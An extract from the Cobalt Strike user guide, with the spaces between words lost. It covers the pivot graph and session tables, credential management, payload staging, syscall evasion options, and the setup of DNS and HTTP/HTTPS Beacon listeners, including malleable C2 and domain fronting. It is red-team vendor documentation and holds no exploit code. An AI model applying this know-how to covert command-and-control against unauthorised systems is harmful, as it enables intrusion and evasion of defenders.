UserInterface/SessionandTargetVisualizations ShowSessioninTableView ShowTargetsinTableView ManageWebServer ViewCredentials ViewDownloadFiles ViewKeystrokes ViewScreenshots Session and Target Visualizations CobaltStrikehasseveralvisualizationseachdesignedtoaidadifferentpartofyour engagement.Youmayswitchbetweenvisualizationsthrough(PivotGraph,SessionTable, TargetTable)buttons onthetoolbarortheCobalt Strike ->Visualization menu. Pivot Graph CobaltStrikehastheabilitytolinkmultipleBeaconsintoachain.TheselinkedBeaconsreceive theircommandsandsendtheiroutputthroughtheparentBeaconintheirchain.Thistypeof chainingisusefultocontrolwhichsessionsegressanetworkandtoemulateadisciplinedactor whorestrictstheircommunicationpathsinsideofanetworktosomethingplausible.This chainingofBeaconsisoneofthemostpowerfulfeaturesinCobaltStrike. CobaltStrikesworkflowsmakethischainingveryeasy.ItsnotuncommonforCobaltStrike operatorstochainBeaconsfourorfivelevelsdeeponaregularbasis.Withoutavisualaidits verydifficulttokeeptrackofandunderstandthesechains.ThisiswherethePivotGraphcomes in. ThePivotGraphshowsyourBeaconchainsinanaturalway.EachBeaconsessionhasanicon. Aswiththesessionstable:theiconforeachhostindicatesitsoperatingsystem.Iftheiconis redwithlightningbolts,theBeaconisrunninginaprocesswithadministratorprivileges.A darkericonindicatesthattheBeaconsessionwasaskedtoexitanditacknowledgedthis command. ThefirewalliconrepresentstheegresspointofyourBeaconpayload.Adashed green line indicatestheuseofbeaconingHTTPorHTTPSconnectionstoleavethenetwork.Ayellow dashed line indicatestheuseofDNStoleavethenetwork. CobaltStrikeUserGuide www.fortra.com page:29

UserInterface/SessionandTargetVisualizations figure12-CobaltStrikeGraphView AnarrowconnectingoneBeaconsessiontoanotherrepresentsalinkbetweentwoBeacons. CobaltStrikesBeaconusesWindowsnamedpipesandTCPsocketstocontrolBeaconsinthis peer-to-peerfashion.Anorange arrow isanamedpipechannel.SSHsessionsuseanorange arrowaswell.Ablue arrow isaTCPsocketchannel.Ared (namedpipe)orpurple (TCP)arrow indicatesthataBeaconlinkisbroken. ClickaBeacontoselectit.YoumayselectmultipleBeaconsbyclickinganddraggingaboxover thedesiredhosts.PressCtrlandShiftandclicktoselectorunselectanindividualBeacon. Right-clickaBeacontobringupamenuwithavailablepost-exploitationoptions. SeveralkeyboardshortcutsareavailableinthePivotGraph. l Ctrl+Plus —zoom in l Ctrl+Minus —zoom out l Ctrl+0 —resetthezoom level l Ctrl+A —selectallhosts l Escape —clearselection l Ctrl+C —arrangehostsintoacircle l Ctrl+S —arrangehostsintoastack l Ctrl+H —arrangehostsintoahierarchy. Right-clickthePivotGraphwithnoselectedBeaconstoconfigurethelayoutofthisgraph.This menualsohasanUnlinkedmenu.SelectHide tohideunlinkedsessionsinthepivotgraph. SelectShow toshowunlinkedsessionsagain. Sessions Table CobaltStrikeUserGuide www.fortra.com page:30

UserInterface/SessionandTargetVisualizations ThesessionstableshowswhichBeaconsarecallinghometothisCobaltStrikeinstance. BeaconisCobaltStrikespayloadtoemulateadvancedthreatactors.Here,youwillseethe externalIPaddressofeachBeacon,theinternalIPaddress,theegresslistenerforthatBeacon, whentheBeaconlastcalledhome,andotherinformation.Nexttoeachrowisaniconindicating theoperatingsystemofthecompromisedtarget.Iftheiconisredwithlightningbolts,the Beaconisrunninginaprocesswithadministratorprivileges.Afadediconindicatesthatthe Beaconsessionwasaskedtoexitanditacknowledgedthiscommand. figure13-CobaltStrikeBeaconManagementTool IfyouuseaDNSBeaconlistener,beawarethatCobaltStrikewillnotknowanythingabouta hostuntilitchecksinforthefirsttime.Ifyouseeanentrywithalastcalltimeandthatsit,you willneedtogivethatBeaconitsfirsttasktoseemoreinformation. Right-clickoneormoreBeaconstoseeyourpost-exploitationoptions. Targets Table TheTargetsTableshowsthetargetsinCobaltStrikesdatamodel.Thetargetstabledisplays theIPaddressofeachtarget,itsNetBIOSname,andanotethatyouoroneofyourteam membersassignedtothetarget.Theicontotheleftofatargetindicatesitsoperatingsystem.A rediconwithlightningboltsindicatesthatthetargethasaCobaltStrikeBeaconsession associatedwithit. figure14-CobaltStrikeTargetsView Clickanyofthetableheaderstosortthehosts.Highlightarowandright-clickittobringupa menuwithoptionsforthathost.PressCtrlandAltandclicktoselectanddeselectindividual hosts. Thetargetstableisausefulforlateralmovementandtounderstandyourtargetsnetwork. CobaltStrikeUserGuide www.fortra.com page:31

UserInterface/Tabs Tabs CobaltStrikeopenseachdialog,console,andtableinatab.ClicktheX buttontocloseatab. UseCtrl+D toclosetheactivetab.Ctrl+Shift+D willclosealltabsexcepttheactiveon. Youmayright-clicktheX buttontoopenatabinawindow,takeascreenshotofatab,orclose alltabswiththesamename. Keyboardshortcutsexistforthesefunctionstoo.UseCtrl+W toopentheactivetabinitsown window.UseCtrl+T toquicklysaveascreenshotoftheactivetab. Ctrl+B willsendthecurrenttabtothebottomoftheCobaltStrikewindow.Thisisusefulfortabs thatyouneedtoconstantlywatch.Ctrl+E willundothisactionandremovethetabatthe bottomoftheCobaltStrikewindow. HoldshiftandclickX toclosealltabswiththesamename.Holdshift+controlandclickX to openthetabinitsownwindow. UseCtrl+Left andCtrl+Right toquicklyswitchtabs.Youmaydraganddroptabstochange theirorder. TIP: ThefulllistofDefaultKeyboardShortcutsareavailablefromthemenu(Help -> Default Keyboard Shortcuts). Consoles CobaltStrikeprovidesaconsoletointeractwithBeaconsessions,scripts,andchatwithyour teammates. figure15-AConsoleTab CobaltStrikeUserGuide www.fortra.com page:32

UserInterface/Tables Theconsolestrackyourcommandhistory.Usetheup arrow tocyclethroughpreviouslytyped commands.Thedown arrow movesbacktothelastcommandyoutyped.Thehistory commandlistspreviouslytypedcommands.The!commandallowspreviouslytyped commandstoberanagain. NOTE: Thelistofpreviouslytypedcommandsisnotmaintainedbetweensessions.Closinga consolewindowandthenreopeningitwillstartwithnopreviouslytypedcommands. UsetheTab keytocompletecommandsandparameters. UseCtrl+Plus tomaketheconsolefontsizelarger,Ctrl+Minus tomakeitsmaller,andCtrl+0 toresetit.Thischangeislocaltothecurrentconsoleonly.VisitCobalt Strike ->Preferences to permanentlychangethefont. PressCtrl+F toshowapanelthatwillletyousearchfortextwithintheconsole.UseCtrl+A to selectalltextintheconsolesbuffer. TIP: ThefulllistofDefaultKeyboardShortcutsareavailablefromthemenu(Help -> Default Keyboard Shortcuts). Tables CobaltStrikeusestablestodisplaysessions,credentials,targets,andotherengagement information. MosttablesinCobaltStrikehaveanoptiontoassignacolorhighlighttothehighlightedrows. ThesehighlightsarevisibletootherCobaltStrikeclients.Right-clickandlookfortheColor menu. PressCtrl+F withinatabletoshowthetablesearchpanel.Thisfeatureletsyoufilterthecurrent table. CobaltStrikeUserGuide www.fortra.com page:33

UserInterface/KeyboardShortcuts figure16-TablewithSearchPanel Thetextfieldiswhereyoutypeyourfiltercriteria.Theformatofthecriteriadependsonthe columnyouchoosetoapplythefilterto.UseCIDR notation(e.g.,192.168.1.0/24)andhost ranges(192.168.1-192.169.200)tofiltercolumnsthatcontainaddresses.Usenumbersor rangesofnumbersforcolumnsthatcontainnumbers.Usewildcardcharacters(*,?)tofilter columnsthatcontainstrings. The! buttonnegatesthecurrentcriteria.Pressenter toapplythespecifiedcriteriatothecurrent table.Youmaystackasmanycriteriatogetherasyoulike.TheReset buttonwillremovethe filtersappliedtothecurrenttable. Keyboard Shortcuts Therearemanydefaultkeyboardshortcutsavailabletoyouwhenworkingintheuserinterface. SomecanbeusedanywherewhileothersarespecifictodifferentareasoftheUI.Fromthe menu,selectingHelp -> Default Keyboard Shortcutsopensthefollowingreferencedialog: CobaltStrikeUserGuide www.fortra.com page:34

UserInterface/KeyboardShortcuts figure17-DefaultKeyboardShortcuts TheAggressorfunction,openDefaultShortcutsDialog,canalsobeusedtoopenthesamelist. CobaltStrikeUserGuide www.fortra.com page:35

DataManagement/Overview Data Management Overview CobaltStrikesteamserverisabrokerforinformationcollectedbyCobaltStrikeduringyour engagement.CobaltStrikeparsesoutputfromitsBeaconpayloadtoextracttargets,services, andcredentials. IfyoudliketoexportCobaltStrikesdata,youmaydosothroughReporting ->Export Data. CobaltStrikeprovidesoptionstoexportitsdataasTSVandXMLfiles.TheCobaltStrikeclients exportdatafeaturemergesdatafromalloftheteamserversyourecurrentlyconnectedtoand exportTSVandXMLfileswithdatainCobaltStrike'sdatamodel.. Targets YoumayinteractwithCobaltStrikestargetinformationthroughView ->Targets.Thistab displaysthesameinformationastheTargetsVisualization. PressImport toimportafilewithtargetinformation.CobaltStrikeacceptsflattextfileswithone hostperline.ItalsoacceptsXMLfilesgeneratedbyNmap(theoXoption). PressAdd toaddnewtargetstoCobaltStrikesdatamodel. CobaltStrikeUserGuide www.fortra.com page:36

DataManagement/Services figure18-AddaTarget ThisdialogallowsyoutoaddmultiplehoststoCobaltStrikesdatabase.SpecifyarangeofIP addressesoruseCIDR notationintheAddressfieldtoaddmultiplehostsatonetime.Hold downshiftwhenyouclickSavetoaddhoststothedatamodelandkeepthisdialogopen. Selectoneormorehostsandright-clicktobringupthehostsmenu.Thismenuiswhereyou changethenoteonthehosts,settheiroperatingsysteminformation,orremovethehostsfrom thedatamodel. Services Fromatargetsdisplay,right-clickahost,andselectServices.ThiswillopenCobaltStrikes servicesbrowser.Hereyoumaybrowseservices,assignnotestodifferentservices,andremove serviceentriesaswell. figure19-TheServicesDialog Credentials GotoView ->Credentials tointeractwithCobaltStrikescredentialmodel. PressAdd toaddanentrytothecredentialmodel.Again,youmayholdshiftandpressSave to keepthedialogopenandmakeiteasiertoaddnewcredentialstothemodel. PressCopy tocopythehighlightedentriestoyourclipboard. UseExport toexportcredentialsinPWDumpformat. figure20-TheCredentialModel CobaltStrikeUserGuide www.fortra.com page:37

DataManagement/Maintenance Maintenance CobaltStrikesdatamodelkeepsallofitsstateandstatemetadatainthedata/folder.This folderexistsinthefolderyourantheCobaltStriketeamserverfrom. ToclearCobaltStrikesdatamodel:stoptheteamserver,deletethedata/folder,andits contents.CobaltStrikewillrecreatethedata/folderwhenyoustarttheteamservernext. Ifyoudliketoarchivethedatamodel,stoptheteamserver,anduseyourfavoriteprogramto storethedata/folderanditsfileselsewhere.Torestorethedatamodel,stoptheteamserver, andrestoretheoldcontenttothedata/folder. Reporting ->Reset Data resetsCobaltStrikesDataModelwithoutateamserverrestart. Clearing Team Server Data Anewscripthasbeenaddedfortheteamserverwhichclearsthedataandstatefromthe TeamServertoreturnittoadefaultstate.Enterthefollowingcommand: ./clearteamserverdata AwarningwilldisplayandyouwillhavetoenterCLEAR forthecommandtocontinue. Theerrorsshownaretobeexpectedwhenthefolderstobedeleteddonotexist.Inthiscase therearenodownloads,screenshotsoruploadsfolderssotheycouldnotbedeleted.Anyfiles offolderswhichcouldnotbedeletedwillbelisted. CobaltStrikeUserGuide www.fortra.com page:38

ListenerandInfrastructureManagement/Overview Listener and Infrastructure Management Overview Thefirststepofanyengagementistosetupinfrastructure.InCobaltStrikescase, infrastructureconsistsofoneormoreteamservers,redirectors,andDNSrecordsthatpointto yourteamserversandredirectors.Onceyouhaveateamserverupandrunning,youwillwant toconnecttoit,andconfigureittoreceiveconnectionsfromcompromisedsystems.Listeners areCobaltStrikesmechanismtodothis. AlistenerissimultaneouslyconfigurationinformationforapayloadandadirectiveforCobalt Striketostandupaservertoreceiveconnectionsfromthatpayload.Alistenerconsistsofa user-definedname,thetypeofpayload,andseveralpayload-specificoptions. Listener Management TomanageCobaltStrikelisteners,gotoCobalt Strike ->Listeners.Thiswillopenatablisting allofyourconfiguredpayloadsandlisteners. figure21-ListenerManagementTab PressAdd tocreateanewlistener.TheNewListenerpaneldisplays. CobaltStrikeUserGuide www.fortra.com page:39

ListenerandInfrastructureManagement/ListenerManagement figure22-NewListenerPanel UsethePayloaddrop-downtoselectoneoftheavailablepayload/listenertypesyouwishto configure.Eachhasdifferentparametersandaredescribedinthefollowingsections: DNS Beacon on page 44 HTTP Beacon and HTTPS Beacon on page 50 SMB Beacon on page 56 TCP Beacon on page 59 CobaltStrikeUserGuide www.fortra.com page:40

ListenerandInfrastructureManagement/CobaltStrikesBeaconPayload External C2 on page 62 Foreign Listeners on page 64 Toeditalistener,highlightalistenerandpressEdit.Toremovealistener,highlightthelistener andpressRemove. Cobalt Strikes Beacon Payload Mostcommonly,youwillconfigurelistenersforCobaltStrikesBeaconpayload.Beaconis CobaltStrikespayloadtomodeladvancedattackers.UseBeacontoegressanetworkover HTTP,HTTPS,orDNS.Youmayalsolimitwhichhostsegressanetworkbycontrollingpeer-to- peerBeaconsoverWindowsnamedpipesandTCPsockets. Beaconisflexibleandsupportsasynchronousandinteractivecommunication.Asynchronous communicationislowandslow.Beaconwillphonehome,downloaditstasks,andgotosleep. Interactivecommunicationhappensinreal-time. Beaconsnetworkindicatorsaremalleable.RedefineBeaconscommunicationwithCobalt StrikesmalleableC2language.ThisallowsyoutocloakBeaconactivitytolooklikeother malwareorblend-inaslegitimatetraffic.SeeMalleable Command and Control on page 129 formoreinformation. System Calls TheBeaconpayloadhasimplementedtheabilitytousesystemcallsinsteadofthestandard WindowsAPIfunctions.CurrentlyBeaconsupportsalimitedsetoffunctionsforthiscapability. Thefollowingfunctionssupporttheuseofsystemcalls: l CloseHandle l CreateFileMapping l CreateRemoteThread l CreateThread l DuplicateHandle l GetThreadContext l MapViewOfFile l OpenProcess l OpenThread l ReadProcessMemory CobaltStrikeUserGuide www.fortra.com page:41

ListenerandInfrastructureManagement/CobaltStrikesBeaconPayload l ResumeThread l SetThreadContext l UnmapViewOfFile l VirtualAlloc l VirtualAllocEx l VirtualFree l VirtualProtect l VirtualProtectEx l VirtualQuery l WriteProcessMemory WhenyougenerateastagelessbeaconpayloadfromtheCobaltStrikeUIorasupported aggressorfunction,youcanchoosewhichsystemcallmethodwillbeusedatexecutiontime. System Call Method Description None UsethestandardWindowsAPIfunction Direct UsetheNtversionofthefunction Indirect JumptotheappropriateinstructionwithintheNt versionofthefunction Therearesomecommandsandworkflowsthatinjectorspawnanewbeaconthatdonotallow youtosettheinitialsystemcallmethod.Inthesecases,settingthestage.syscall_method settingintheprofilewillallowyoutocontroltheinitialmethodusedatexecutiontime. Thefollowingcommandsandworkflowsusethestage.syscall_methodsetting: l elevate l inject l jump l spawn l spawnas l spawnu l team serverrespondingtoastagelesspayloadrequest l team serverrespondingtoanexternalc2payloadrequest Usethesyscall-method [method]commandtomodifywhichmethodwillbeusedfor subsequentcommands.Inaddition,syscall-methodwithoutanyargumentswillquerythe currentmethod. CobaltStrikeUserGuide www.fortra.com page:42

ListenerandInfrastructureManagement/PayloadStaging Payload Security Features CobaltStriketakesstepstoprotectBeaconscommunicationandtoensurethataBeaconcan onlyreceivetasksfromandsendoutputtoitsteamserver. WhenyousetuptheBeaconpayloadforthefirsttime,CobaltStrikewillgeneratea public/privatekeypairthatisuniquetoyourteamserver.Theteamserverspublickeyis embeddedintoBeaconspayloadstage.Beaconusestheteamserverspublickeytoencrypt sessionmetadatathatitsendstotheteamserver. Beaconmustalwayssendsessionmetadatabeforetheteamservercanissuetasksand receiveoutputfromtheBeaconsession.Thismetadatacontainsarandomsessionkey generatedbythatBeacon.TheteamserveruseseachBeaconssessionkeytoencrypttasks andtodecryptoutput. EachBeaconimplementationanddatachannelusesthissamescheme.Youhavethesame securitywiththeArecorddatachannelintheHybridHTTPandDNSBeaconasyoudowiththe HTTPSBeacon. BeawarethattheaboveappliestoBeacononceitisstaged.Thepayloadstagers,duetotheir size,donothavebuilt-insecurityfeatures. Payload Staging Onetopicthatdeservesmention,asbackgroundinformation,ispayloadingstaging.Many attackframeworksdecoupletheattackfromthestuffthattheattackexecutes.Thisstuffthat anattackexecutesisknownasapayload.Payloadsareoftendividedintotwoparts:thepayload stageandthepayloadstager.Astagerisasmallprogram,usuallyhand-optimizedassembly, thatdownloadsapayloadstage,injectsitintomemory,andpassesexecutiontoit.Thisprocess isknownasstaging. Thestagingprocessisnecessaryinsomeoffenseactions.Manyattackshavehardlimitson howmuchdatatheycanloadintomemoryandexecuteaftersuccessfulexploitation.This greatlylimitsyourpost-exploitationoptions,unlessyoudeliveryourpost-exploitationpayloadin stages. CobaltStrikedoesusestaginginitsuser-drivenattacks.Thesearemostoftheitemsunder PayloadsandAttacks.Thestagersusedintheseplacesdependonthepayloadpairedwiththe attack.Forexample,theHTTPBeaconhasanHTTPstager.TheDNSBeaconhasaDNSTXT recordstager.Notallpayloadshavestageroptions.Payloadswithnostagercannotbe deliveredwiththeseattackoptions. Ifyoudontneedpayloadstaging,youcanturnitoff.Setthehost_stage optioninyour MalleableC2profiletofalse.ThiswillpreventCobaltStrikefromhostingpayloadstagesonits CobaltStrikeUserGuide www.fortra.com page:43

ListenerandInfrastructureManagement/DNSBeacon webandDNSservers.ThereisabigOPSECbenefittodoingthis.Withstagingon,anyonecan connecttoyourserver,requestapayload,andanalyzeitscontentstofindinformationfrom yourpayloadconfiguration. InCobaltStrike4.0andlater,post-exploitationandlateralmovementactionseschewstagers andopttodeliverafullpayloadwherepossible.Ifyoudisablepayloadstaging,youshouldnt noticeitonceyourereadytodopost-exploitation. DNS Beacon TheDNSBeaconisafavoriteCobaltStrikefeature.ThispayloadusesDNSrequeststobeacon backtoyou.TheseDNSrequestsarelookupsagainstdomainsthatyourCobaltStriketeam serverisauthoritativefor.TheDNSresponsetellsBeacontogotosleeportoconnecttoyouto downloadtasks.TheDNSresponsewillalsotelltheBeaconhowtodownloadtasksfromyour teamserver. figure23-DNSBeaconinAction InCobaltStrike4.0andlater,theDNSBeaconisaDNS-onlypayload.ThereisnoHTTP communicationmodeinthispayload.Thisisachangefrompriorversionsoftheproduct. Data Channels Today,theDNSBeaconcandownloadtasksoverDNSTXTrecords,DNSAAAArecords,orDNS Arecords.Thispayloadhastheflexibilitytochangebetweenthesedatachannelswhileitson target.UseBeaconsmodecommandtochangethecurrentBeaconsdatachannel.mode dns CobaltStrikeUserGuide www.fortra.com page:44

ListenerandInfrastructureManagement/DNSBeacon istheDNSArecorddatachannel.mode dns6 istheDNSAAAArecordchannel.And,mode dns- txt istheDNSTXTrecorddatachannel.ThedefaultistheDNSTXTrecorddatachannel. BeawarethatDNSBeacondoesnotcheckinuntiltheresataskavailable.Usethecheckin commandtorequestthattheDNSBeaconcheckinnexttimeitcallshome. DNS Listener Setup TocreateaDNSBeaconlistenerselectCobalt Strike -> Listenersonthemainmenuandpress theAddbuttonatthebottomoftheListenerstabdisplay. TheNewListenerpaneldisplays. CobaltStrikeUserGuide www.fortra.com page:45

ListenerandInfrastructureManagement/DNSBeacon figure24-DNSBeaconOptions SelectBeacon DNSasthePayloadtypeandgivethelisteneraName.Makesuretogivethe newlisteneramemorablenameasthisnameishowyouwillrefertothislistenerthrough CobaltStrikescommandsandworkflows. Parameters CobaltStrikeUserGuide www.fortra.com page:46

ListenerandInfrastructureManagement/DNSBeacon DNS Hosts-Press[+] toaddoneormoredomainstobeaconto.YourCobaltStrike teamserversystemmustbeauthoritativeforthedomainsyouspecify.Createa DNSArecordandpointittoyourCobaltStriketeamserver.UseDNSNSrecords todelegateseveraldomainsorsub-domainstoyourCobaltStriketeamserversA record. Thelengthofthebeaconhostlistinbeaconpayloadislimitedto255characters. ThisincludesarandomlyassignedURIforeachhostanddelimitersbetween eachiteminthelist.Ifthelengthisexceeded,hostswillbedroppedfromtheend ofthelistuntilitfitsinthespace.Therewillbemessagesintheteamserverlog fordroppedhosts. Host Rotation Strategy-Thisvalueconfiguresthebeaconsbehaviorforchoosing whichhost(s)fromthelisttouseforegress.Selectoneofthefollowing: round-robin:Selecttoloopthroughthelistofhostnamesintheordertheyare provided.Eachhostisusedforoneconnection. random:Selecttorandomlyselectahostnamefromthelisteachtimea connectionisattempted. failover-xx:Selecttouseaworkinghostaslongaspossible.Useeachhostinthe listuntiltheyreachaconsecutivefailovercount(x)ordurationtimeperiod (m,h,d),thenusethenexthost. rotate-xx:Selecttouseeachhostforaperiodoftime.Useeachhostinthelistfor thespecifiedduration(m,h,d),thenusethenexthost. Max Retry Stategy-Thisconfiguresthebeaconsbehaviorforexitingafteranumberof consecutivefailedconnectionattemptstotheTeamServer.Thereareseveral defaultoptionstochoosefromoryoucancreateyourownlistwiththe LISTENER_MAX_RETRY_STRATEGIEShook.SeeLISTENER_MAX_RETRY_ STRATEGIES on page 227. none:Selecttoensurebeaconwillnotexitbecauseoffailedconnectionattempts. exit-xxx:Thesesettingsusethesyntaxofexit-[max_attempts]-[increase_ attempts]-[duration][m,h,d].Themax_attemptvalueisthenumberof consecutivefailedattemptsbeforebeaconwillexit.Theincrease_attemptsis thenumberofconsecutivefailedattemptsbeforeincreasingthesleeptime. Thedurationvalueisthenumberofminutes,hours,ordaystosetthenew sleeptime. CobaltStrikeUserGuide www.fortra.com page:47

ListenerandInfrastructureManagement/DNSBeacon Thesleeptimewillnotbeupdatedifthecurrentsleeptimeisgreaterthanthe newlyspecifieddurationvalue.Thesleeptimewillbeaffectedbythecurrent jittervalue.Onanysuccessfulconnectionthefailedattemptscountwillbe resettozeroandthesleeptimewillberesettothepriorvalue. DNS Host (Stager) -ThisconfigurestheDNSBeaconsTXTrecordstager.Thisstager isonlyusedwithCobaltStrikefeaturesthatrequireanexplicitstager.YourCobalt Striketeamserversystemmustbeauthoritativeforthisdomainaswell. Profile -AllowsabeacontobeconfiguredwithaselectedMalleableC2profilevariant. DNS Port (Bind)-ThisfieldspecifiestheportyourDNSBeaconpayloadserverwill bindto.Thisoptionisusefulifyouwanttosetupportbendingredirectorsuchas aredirectorthatacceptsconnectionsonport53butroutestheconnectionto yourteamserveronanotherport. DNS Resolver -AllowsaDNSBeacontoegressusingaspecificDNSresolver,rather thanusingthedefaultDNSresolverforthetargetserver.SpecifytheIPAddress ofthedesiredresolver.ThisDNSResolverisnotusedbythestageroftheDNS Beacon. Guardrails -BeaconGuardrailsallowstheusertocreateawaytorestrictthetargets thatthebeaconcanexecuteon.Onceconfigured,thesevalueswillbethedefault guardrailfortheStagelessorWindowsStagelessPayloadGenerators. Pressthe...buttontoopentheGuardrailsSettings: figure25-GuardrailSettings CobaltStrikeUserGuide www.fortra.com page:48

ListenerandInfrastructureManagement/DNSBeacon IP Address:EnteraspecificIPAddressorgenericwildcardoftherightmost segments.Forexample: l 123.123.123.123 l 123.123.123.* l 123.123.. l 123...* User Name:Enteraspecificname,oravaluethat: l “startswith”supportedby“”wildcardcharacterontherightside l “endswith”supportedby“”wildcardcharacterontheleftside Theguardiscase-insensitive. Server Name:Enteraspecificcomputername,oravaluethat: l “startswith”supportedby“”wildcardcharacterontherightside l “endswith”supportedby“”wildcardcharacterontheleftside Theguardiscase-insensitive Domain:Enteraspecificdomain,oravaluethat: l “startswith”supportedby“”wildcardcharacterontherightside l “endswith”supportedby“”wildcardcharacterontheleftside Theguardiscase-insensitive Testing TotestyourDNSconfiguration,openaterminalandtypenslookup jibberish.beacon domain. IfyougetanArecordreplyof0.0.0.0—thenyourDNSiscorrectlysetup.Ifyoudonotgetareply, thenyourDNSconfigurationisnotcorrectandtheDNSBeaconwillnotcommunicatewithyou. Notes l MakesureyourDNSrecordsreferencetheprimaryaddressonyournetworkinterface. CobaltStrikesDNSserverwillalwayssendresponsesfrom yournetworkinterfaces primaryaddress.DNSresolverstendtodropreplieswhentheyrequestinformationfrom oneserver,butreceiveareplyfrom another. CobaltStrikeUserGuide www.fortra.com page:49

ListenerandInfrastructureManagement/HTTPBeaconandHTTPSBeacon l IfyouarebehindaNATdevice,makesurethatyouuseyourpublicIPaddressfortheNS recordandsetyourfirewalltoforwardUDPtrafficonport53toyoursystem.Cobalt StrikeincludesaDNSservertocontrolBeacon. l TocustomizethenetworktrafficindicatorsforyourDNSbeacons,seeDNS Beacons on page 148intheMalleableC2help. HTTP Beacon and HTTPS Beacon TheHTTPandHTTPSbeaconsdownloadtaskswithanHTTPGETrequest.Thesebeacons senddatabackwithanHTTPPOSTrequest.Thisisthedefault.Youhaveincrediblecontrolover thebehaviorandindicatorsinthispayloadviaMalleableC2. HTTP(S)Listener Setup TocreateaHTTPorHTTPSBeaconlistenerselectCobalt Strike -> Listenersonthemain menuandpresstheAddbuttonatthebottomoftheListenerstabdisplay. TheNewListenerpaneldisplays. CobaltStrikeUserGuide www.fortra.com page:50

ListenerandInfrastructureManagement/HTTPBeaconandHTTPSBeacon figure26-HTTPBeaconOptions SelectBeacon HTTPorBeacon HTTPSasthePayloadtypeandgivethelisteneraName. Makesuretogivethenewlisteneramemorablenameasthisnameishowyouwillrefertothis listenerthroughCobaltStrikescommandsandworkflows. Parameters CobaltStrikeUserGuide www.fortra.com page:51

ListenerandInfrastructureManagement/HTTPBeaconandHTTPSBeacon HTTP(S) Hosts-Press[+] toaddoneormorehostsfortheHTTPBeacontocallhome to.Press[-]toremoveoneormorehosts.Press[X]toclearthecurrenthosts.If youhavemultiplehosts,youcanstillpasteacomma-separatedlistofcallback hostsintothisdialog. Thelengthofthebeaconhostlistinbeaconpayloadislimitedto255characters. ThisincludesarandomlyassignedURIforeachhostanddelimitersbetween eachiteminthelist.Ifthelengthisexceeded,hostswillbedroppedfromtheend ofthelistuntilitfitsinthespace.Therewillbemessagesintheteamserverlog fordroppedhosts. Host Rotation Strategy-Thisvalueconfiguresthebeaconsbehaviorforchoosing whichhost(s)fromthelisttouseforegress.Selectoneofthefollowing: round-robin:Selecttoloopthroughthelistofhostnamesintheordertheyare provided.Eachhostisusedforoneconnection. random:Selecttorandomlyselectahostnamefromthelisteachtimea connectionisattempted. failover-xx:Selecttouseaworkinghostaslongaspossible.Useeachhostinthe listuntiltheyreachaconsecutivefailovercount(x)ordurationtimeperiod (m,h,d),thenusethenexthost. rotate-xx:Selecttouseeachhostforaperiodoftime.Useeachhostinthelistfor thespecifiedduration(m,h,d),thenusethenexthost. Max Retry Stategy-Thisconfiguresthebeaconsbehaviorforexitingafteranumberof consecutivefailedconnectionattemptstotheTeamServer.Thereareseveral defaultoptionstochoosefromoryoucancreateyourownlistwiththe LISTENER_MAX_RETRY_STRATEGIEShook.SeeLISTENER_MAX_RETRY_ STRATEGIES on page 227. none:Selecttoensurebeaconwillnotexitbecauseoffailedconnectionattempts. exit-xxx:Thesesettingsusethesyntaxofexit-[max_attempts]-[increase_ attempts]-[duration][m,h,d].Themax_attemptvalueisthenumberof consecutivefailedattemptsbeforebeaconwillexit.Theincrease_attemptsis thenumberofconsecutivefailedattemptsbeforeincreasingthesleeptime. Thedurationvalueisthenumberofminutes,hours,ordaystosetthenew sleeptime. CobaltStrikeUserGuide www.fortra.com page:52

ListenerandInfrastructureManagement/HTTPBeaconandHTTPSBeacon Thesleeptimewillnotbeupdatedifthecurrentsleeptimeisgreaterthanthe newlyspecifieddurationvalue.Thesleeptimewillbeaffectedbythecurrent jittervalue.Onanysuccessfulconnectionthefailedattemptscountwillbe resettozeroandthesleeptimewillberesettothepriorvalue. HTTP Host (Stager)-ThiscontrolsthehostoftheHTTPStagerfortheHTTPBeacon. Thisvalueisonlyusedifyoupairthispayloadwithanattackthatrequiresan explicitstager. Profile-ThisiswhereyouselectaMalleableC2profilevariant.Avariantisawayof specifyingmultipleprofilevariationsinonefile.Withvariants,eachHTTPor HTTPSlisteneryousetupcanhavedifferentnetworkindicators. HTTP Port (C2)-ThisfieldsetstheportyourHTTPBeaconwillphonehometo. HTTP Port (Bind)-ThisfieldspecifiestheportyourHTTPBeaconpayloadwebserver willbindto.Theseoptionsareusefulifyouwanttosetupportbendingredirectors (e.g.,aredirectorthatacceptsconnectionsonport80or443butroutesthe connectiontoyourteamserveronanotherport). HTTP Host Header-Thisvalue,ifspecified,ispropagatedtoyourHTTPstagersand throughyourHTTPcommunication.Thisoptionmakesiteasiertotake advantageofdomainfrontingwithCobaltStrike. HTTP Proxy-Pressthe… buttontospecifyanexplicitproxyconfigurationforthis payload. Guardrails -BeaconGuardrailsallowstheusertocreateawaytorestrictthetargets thatthebeaconcanexecuteon.Onceconfigured,thesevalueswillbethedefault guardrailfortheStagelessorWindowsStagelessPayloadGenerators. Pressthe...buttontoopentheGuardrailsSettings: CobaltStrikeUserGuide www.fortra.com page:53

ListenerandInfrastructureManagement/HTTPBeaconandHTTPSBeacon figure27-GuardrailSettings IP Address:EnteraspecificIPAddressorgenericwildcardoftherightmost segments.Forexample: l 123.123.123.123 l 123.123.123.* l 123.123.. l 123...* User Name:Enteraspecificname,oravaluethat: l “startswith”supportedby“”wildcardcharacterontherightside l “endswith”supportedby“”wildcardcharacterontheleftside Theguardiscase-insensitive. Server Name:Enteraspecificcomputername,oravaluethat: l “startswith”supportedby“”wildcardcharacterontherightside l “endswith”supportedby“”wildcardcharacterontheleftside Theguardiscase-insensitive Domain:Enteraspecificdomain,oravaluethat: l “startswith”supportedby“”wildcardcharacterontherightside l “endswith”supportedby“”wildcardcharacterontheleftside Theguardiscase-insensitive CobaltStrikeUserGuide www.fortra.com page:54

